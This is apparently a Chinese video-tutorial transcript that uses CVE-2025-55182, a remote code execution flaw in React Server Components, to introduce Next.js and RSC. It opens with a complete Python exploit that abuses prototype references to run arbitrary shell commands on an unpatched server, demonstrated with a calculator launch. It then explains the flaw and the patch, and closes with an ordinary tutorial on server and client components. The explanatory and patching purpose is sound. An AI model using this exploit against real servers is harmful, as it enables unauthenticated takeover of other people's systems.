视频版:www.bilibili.com/video/BV1Bw...
只需要向着网页地址 POST 请求这么一段特殊的数据,就能直接攻破网页的服务器端,为所欲为。
python
import requests
import sys
import json
BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "calc"
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
# If you don't need the command output, you can use this line instead:
# "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)
比如这个命令 calc 是打开电脑上的计算器,我执行一下这个 Python 脚本,竟然真的打开了电脑上的计算器。 这就是前几天爆出的 React 生态的严重漏洞 CVE-2025-55182,评级是 10 分,是最高危险级别的漏洞。攻击者不需要任何授权,只需要通过你网站的公开地址,就能在你的服务器上执行任意的恶意代码。相信很多观众朋友们都会有一个疑惑,React 不是一个类似于 VUE 的前端框架吗?为什么前端框架的漏洞能影响到服务器上面,还能被黑客攻击服务器?其实 React 发展至今,已经不是一个纯的前端库了,而是具备了前后端一体的全栈架构。本期视频我们就以这个漏洞作为引子,介绍下 React 生态近几年的最大更新,也就是 React Server Component,React 服务器端组件,简称 RSC。
React Server Component (RSC)
简单来说,RSC 允许组件的代码在服务器端运行,最终只把 HTML 结果传递给客户端,而不再把逻辑都放到前端的 Javascript 里面。这次漏洞就是服务器组件(RSC)的反序列化漏洞,黑客攻击的是服务器端(RSC)的反序列化功能,从而导致黑客可以直接攻破服务器。
在 2020 年,React 的核心团队提出了 RSC 的概念。两年后 Vercel 公司在 Next.js 13 版本率先开始支持 RSC。事实上,Next.js 母公司 Vercel 就是这几年 RSC 背后最大的推手。Vercel 希望通过 RSC 把整个 React 生态绑到自家的部署平台 vercel.com 上面,当然他们也取得了成功。据统计,全球新建的 React 项目里面,有 70% 直接选用了 Next.js 框架加 Vercel 平台进行部署,这一步棋也给 Vercel 平台带来了巨大的收入增长。到目前为止,Next.js 是唯一一个在生产环境完整支持了 RSC (服务器组件) 的框架。我们在社区里面提到 RSC (服务器组件),几乎就等于 Next.js。所以这次漏洞 Next.js 框架首当其冲,Next.js 也是受到漏洞影响最大的重灾区。本期视频,我们先来简单介绍并且回顾下这次的漏洞,然后我们再来实战介绍下 Next.js 与 RSC。
漏洞攻击复现
我们先在电脑上复现一下这次的攻击。我来到桌面,右键在终端打开,然后我们执行这个命令,创建一个 Next.js 项目。
这里最新的版本 16.0.7 已经修复了这个漏洞,所以我回退一个版本,用 16.0.6 来复现一下攻击过程。 执行这个命令的前提是,你电脑上需要安装过 Node.js。回车,这里输入一个项目的名字,我叫 next-test,回车,然后一路点击回车就行了。命令执行完了,我们看到这里提示我们有一个致命级的安全漏洞。
然后我们进入刚才创建的文件夹,执行这个命令 npm run dev,把这个 Next.js 工程启动起来。
这里有一个本地地址就可以访问到项目的主页。这是一个 Next.js 项目最初始的状态,我没有修改一行代码。
接下来我们来到 GitHub,找到跟这个漏洞同名的一个仓库,github.com/msanft/CVE-...
这里面有一个 Python 文件,我们用它就可以简单地复现这次攻击。
找到这个文件以后,在 GitHub 这边点击 download,把这个 Python 脚本下载下来打开。在第 9 行这里填写一个攻击命令,比如在 Windows 上有一个命令 calc,执行这个命令就可以打开电脑上的计算器。那这里我就把攻击的命令换成 calc。
接下来我们运行这段 Python 脚本:python poc.py,回车。攻击成功了,calc 命令执行了,电脑上的计算器被打开了。
漏洞原理简析
这个漏洞的可怕之处在于,攻击者在这里可以执行任意的恶意命令,比如可以查看数据库密码、窃取数据库里面的数据,甚至植入木马病毒等等。而且这次漏洞覆盖面也非常的广,只要 Next.js 的版本是 15 或者 16,哪怕是一个完全空白的项目,都有可能会中招。只有把 Next.js 升级到这里补丁之后的版本才能避免。
在我们用的这个 Python 脚本的仓库里面,有关于这个漏洞的详细解释。我不是 React 专家,这里我只能简单总结一下。我们看到,React 使用一种叫做 flight 的协议,把客户端的数据序列化后传到服务器,每一行都是一个数据块。
这种协议允许值之间的相互引用,比如这里我们看到 $2 就引用了下一行的数据,最后在服务器里面可以还原成 { name: 'cherry' } 这种对象。
通过利用对象之间的引用关系,攻击者能够找到这个对象的原型对象,顺着原型对象最终会找到 Function 构造器,这是 Javascript 中所有函数的构造器。通过这个构造器就能创建出任意的恶意函数,然后攻击者再通过 thenable 机制运行构造出来的恶意函数,完成攻击。我们看到,官方的修复方法是在引用对象的时候,确保只能读取对象自有的属性,阻止了对象对于原型或者构造器的访问,这样漏洞就被封堵住了。
修复漏洞
我们先把本地的这个项目的漏洞修补一下,然后我们再来介绍 Next.js 与 RSC。我们在官方的文档里面可以看到,React 的修复版本发布到了这三个版本,我这里是 19.2.0,这里我升级到 19.2.1。
然后下面对于 Next.js 用户来说,16 版本应该升级到 16.0.7。这里我把版本号改成 16.0.7。
然后我们打开一个终端,执行 npm install 重新安装一下依赖。这样我们就完成了漏洞的修复。接下来我们用一个实战案例,再介绍下 Next.js 与 RSC。
Next.js 与 RSC 实战
我们打开项目的 app 目录,找到这个 page.tsx 文件,这个文件对应的也就是项目这边的默认首页。
这个 page.tsx 文件里面的代码,其实已经是服务器端组件 (RSC) 了。在 Next.js 13 版本以后,只要不是特别声明,所有的组件默认都是服务器端组件 (RSC)。RSC 组件的代码逻辑都是在服务器端运行,当然用这个文件来看 RSC 并不明显,我们再来看一个例子。
这里我在 app 目录下面新建一个文件夹叫 users,在文件夹里面再新建一个文件 page.tsx。
然后我们写上这段代码。
使用这段代码之前,我们需要先安装 postgres 的依赖。打开一个命令行窗口,执行 npm install postgres。依赖安装好了,我们来看一下这段代码的逻辑。这里新建了一个 postgres 的数据库连接,然后我们直接从数据库里面查询到了所有的用户,然后在下面的 React 组件里面遍历这个用户的数组,把用户的名字还有 Email 都组装好,最终组装成一个页面。我们来试一下,在浏览器这边,我们只需要输入跟目录同样的名字,也就是 /users,我们看到用户列表显示出来了。
然后我们点击 F12 看一下浏览器的请求。我切换到网络选项卡,再刷新一下页面。我找到 users 这个请求,我们来看一下是怎么回事。我们看到,users 返回过来的不是一个 JSON 数据,而是一个完整的 HTML 代码。
我们需要展示的用户,直接以 HTML 标签的形式封装(内嵌)到了这个页面里面。点击预览看得更清楚一点。
这个就是服务器组件的最大特性。
在传统的前后端分离的 Web 系统中,浏览器是先拿到 HTML + JS 代码,然后调用 JS 代码里面的逻辑,使用 fetch 方法调用后端接口,后端把数据用 JSON 等格式组装好传递给浏览器,浏览器端再把数据渲染到页面上面。RSC(服务器组件)则是另外一种路线,后端直接把需要展示的数据拼接到 HTML 文件里面返回给前端。这么做有几个好处: 1. 首先不需要给前端传递 JS 文件,减少了网络带宽。 2. 第二个好处是数据已经内嵌进了 HTML 网页,不需要额外调用后台接口来传递数据,大大加快了加载速度。 3. 第三个好处是代码简洁,不用写前后端的接口代码,几行代码就能完整实现一个从数据库取数据并且展示在网页上的功能。
因为这个文件是服务器端组件,即使把数据库的用户名、密码写到了这个文件里面,浏览器上也是看不到的。连接数据库、读取数据,这些逻辑都是在服务器端执行的。在浏览器那边,只能看到最终的执行结果,也就是 HTML 网页,是看不到中间的业务逻辑的,这样也能有效的保护隐私。
客户端组件 vs. 服务器端组件
Next.js 除了支持编写服务器端组件 (RSC),当然也支持编写客户端组件。这里我们在 user 目录下面新建一个文件,叫 counter.tsx。我们新写了一个组件,这里有一个按钮,每点击一次,这里的计数就会加一。
在文件的开头写了 'use client',声明这是一个客户端组件。
我们看到服务端组件跟客户端组件,它仅仅是差了这么一行。就这么一小句话,带来的影响非常的大。客户端组件跟服务器端组件,它有本质上的区别。所以使用 Next.js 框架的时候,我们一定要小心在意,到底哪些代码执行在服务器上面的,哪些代码执行在客户端上面的。特别是我们使用 AI 编程的时候,AI 一般对这个安全意识是比较欠缺的,AI 很可能会把客户端代码跟服务端代码混到一起去乱写,所以我们一定要小心在意,仔细区分,不要把 API Key 等敏感数据写到客户端代码里面。
Next.js 还有一个好处,就是它的客户端代码跟服务端代码可以嵌套使用。比如这个文件,它是服务端组件,我们可以直接把一个客户端组件 Counter 直接引用进来,然后在下面写上 <Counter />。
我们来试一下。我们看到一个服务端组件里面,嵌套了一个客户端组件,然后我们点击这个按钮,计数可以增加。
我们一般把这种跟用户需要交互的组件写成客户端组件,把这种不会变化的、不需要交互的组件写成服务端组件。在嵌套的时候有一点要注意:服务端组件里面可以嵌套客户端组件,但是客户端组件里面不能嵌套服务端组件。
总结
本期视频我们借助这次的漏洞分析,介绍了 Next.js 框架与 RSC 的基础入门。等以后有时间,我会专门做一期长视频,完整的再次介绍 Next.js 框架。Next.js 在海外十分的流行,它允许开发者只用 JS 语言,直接构建出前后端的应用。Next.js 还有个特点是跟 AI 编程是绝配。首先 AI 很擅长做小型项目的开发,而且 AI 大多精通于 JS 语言,所以 AI 编程很适合搭配 Next.js,直接前后端一把梭,快速落地一个完整的应用。但是 Next.js 这种前后端代码混在一起写的方式,经验不足的开发者使用 AI 很可能会带来很大的安全隐患。
所以我认为作为 AI 时代的开发者,需要对框架有着更深入的理解。这是我一直以来的一个观点,我们需要把更多的精力从代码的细枝末节上面,转移到对架构的设计还有开发框架的理解上面,这也就是我做这期视频的原因。好,今天的视频就到这里,感谢大家,我们下期再见。